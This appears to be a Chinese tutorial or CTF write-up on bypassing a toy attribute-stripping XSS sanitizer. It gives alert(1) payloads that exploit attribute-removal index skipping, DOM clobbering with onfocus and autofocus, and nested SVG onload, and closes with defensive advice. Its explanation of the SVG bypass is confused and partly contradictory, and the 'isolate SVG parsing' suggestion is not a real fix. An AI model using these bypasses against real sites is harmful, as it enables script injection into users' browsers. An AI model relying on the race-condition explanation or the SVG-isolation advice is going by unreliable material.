目录
代码分析
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form id=x>
<input id=attributes>
<input id=attributes>
</form>
</body>
<script>
console.info(x.attributes);
const data = decodeURIComponent(location.hash.substr(1));
const root = document.createElement('div');
root.innerHTML = data;
// 这里模拟了XSS过滤的过程，方法是移除所有属性
for (let el of root.querySelectorAll('*')) {
for (let attr of el.attributes) {
el.removeAttribute(attr.name);
}
}
document.body.appendChild(root);
</script>
</html>
代码流程：
- 通过
decodeURIComponent(location.hash.substr(1))获取 URL#号后面的内容。 - 创建一个
div，并将获取的内容赋值给div.innerHTML。 - 遍历
div内部的所有子元素，并移除它们的所有属性。 - 将
div添加到document.body。
一次循环的问题
测试 Payload:
<img src=1 οnerrοr=alert(1)>
意外结果:
src=1被删除，但 onerror=alert(1)仍然存在。
原因分析：删除顺序导致遗漏
for (let attr of el.attributes)遍历元素的属性。- 当
src作为第一个属性被删除后，属性列表的索引发生变化。 onerror变成第一个属性，而for循环仍在进行，导致跳过了onerror。
绕过方法：
<img test=aaa src=1 title=bbb οnerrοr=alert(1)>
通过增加 test=aaa，title=bbb 等属性，可以让 onerror 处于不会被跳过的位置，从而绕过一次循环的属性删除。
两次循环修复方案
改进代码：
<script>
const data = decodeURIComponent(location.hash.substr(1));
const root = document.createElement('div');
root.innerHTML = data;
// 这里模拟了XSS过滤的过程，方法是移除所有属性，sanitizer
for (let el of root.querySelectorAll('*')) {
let attrs = [];
for (let attr of el.attributes) {
attrs.push(attr.name);
}
for (let name of attrs) {
el.removeAttribute(name);
}
}
document.body.appendChild(root);
</script>
两次循环的改进点：
- 第一次循环 先收集所有属性的名称。
- 第二次循环 再删除这些属性，避免索引错位问题。
两种绕过方式
绕过方法 1：DOM破环
原理： 让 onfocus 事件先触发，移除 onfocus 后，仍然可以执行 alert(1)。
<form%20 tabindex=1 οnfοcus="alert(1);this.removeAttribute('onfocus');" autofocus="true">
<input name=attributes>
<input name=attributes>
</form>
过程:
<form>被解析时，tabindex=1使其获得焦点。autofocus="true"使<form>立即聚焦。onfocus触发alert(1)，并删除自身的onfocus。- 代码执行时，属性删除已经无法影响 XSS 触发。
绕过方法 2：SVG XSS（双 SVG 绕过）
<svg><svg/οnlοad=alert(1)>
1. 为什么 "一个SVG注定失败，两个SVG直接成功"？
关键原因：浏览器解析的时序差异
单SVG场景：
<svg><image href="valid.png" onload="alert(1)"></svg>当插入DOM时，浏览器会立即解析SVG并开始加载
<image>的href资源。资源加载是异步的，
onload事件会在资源加载完成后触发。此时代码中的属性删除循环（
el.removeAttribute）可能已经执行完毕，移除了onload属性。事件未被绑定：因为属性在事件触发前已被删除，XSS无法触发。
双SVG场景：
<svg></svg> <!-- 第一个SVG --> <svg><image href="valid.png" onload="alert(1)"></svg> <!-- 第二个SVG -->浏览器解析第一个SVG时，会同步处理其子元素。
当解析第二个SVG时，浏览器可能已经进入异步任务队列。
事件触发时机提前：第二个SVG的
<image>的onload事件可能在属性删除循环完成前触发。XSS成功：事件回调在属性被删除前已绑定到DOM元素。
本质：
多个SVG可能改变浏览器的事件循环时序，导致属性删除和事件触发的竞争条件（Race Condition）。
2. 为什么属性被删除后SVG仍能触发XSS？
关键原因：事件触发与属性删除的异步性
示例代码：
<svg><image onload="alert(1)"></svg>插入DOM阶段：浏览器解析SVG并立即触发
<image>的onload事件。事件触发是异步的：即使后续通过
removeAttribute删除了onload属性，但事件回调已经在事件队列中等待执行。执行顺序：
root.innerHTML = data; // 插入SVG，触发onload（事件进入队列） deleteAllAttributes(); // 删除onload属性 // 事件队列中的回调仍会执行！
技术细节：
事件绑定与属性无关：
onload="..."是内联事件处理函数，浏览器在解析HTML时会直接将其转换为事件监听器，而不是依赖属性存在与否。属性删除仅移除了HTML特性，但无法撤销已经注册的事件回调。
复现对比实验
场景1：单SVG（失败）
// 插入内容：<svg><image onload="alert(1)"></svg>
root.innerHTML = data;
// 浏览器解析SVG，触发onload（事件进入队列）
deleteAllAttributes();
// 事件回调尝试执行时，发现image元素已无onload属性，可能被浏览器忽略场景2：双SVG（成功）
// 插入内容：<svg></svg><svg><image onload="alert(1)"></svg>
root.innerHTML = data;
// 第一个SVG解析完成（同步）
// 解析第二个SVG时，可能已进入异步队列
deleteAllAttributes();
// onload事件在删除前已绑定，回调执行成功防御建议：
- 彻底禁用
innerHTMLdocument.body.textContent = data; - 使用 DOMPurify 进行过滤
import DOMPurify from 'dompurify'; root.innerHTML = DOMPurify.sanitize(data, { FORBID_ATTR: ['onload', 'onfocus'] }); - 隔离
SVG解析const svgContainer = document.createElementNS('http://www.w3.org/2000/svg', 'svg'); svgContainer.innerHTML = data;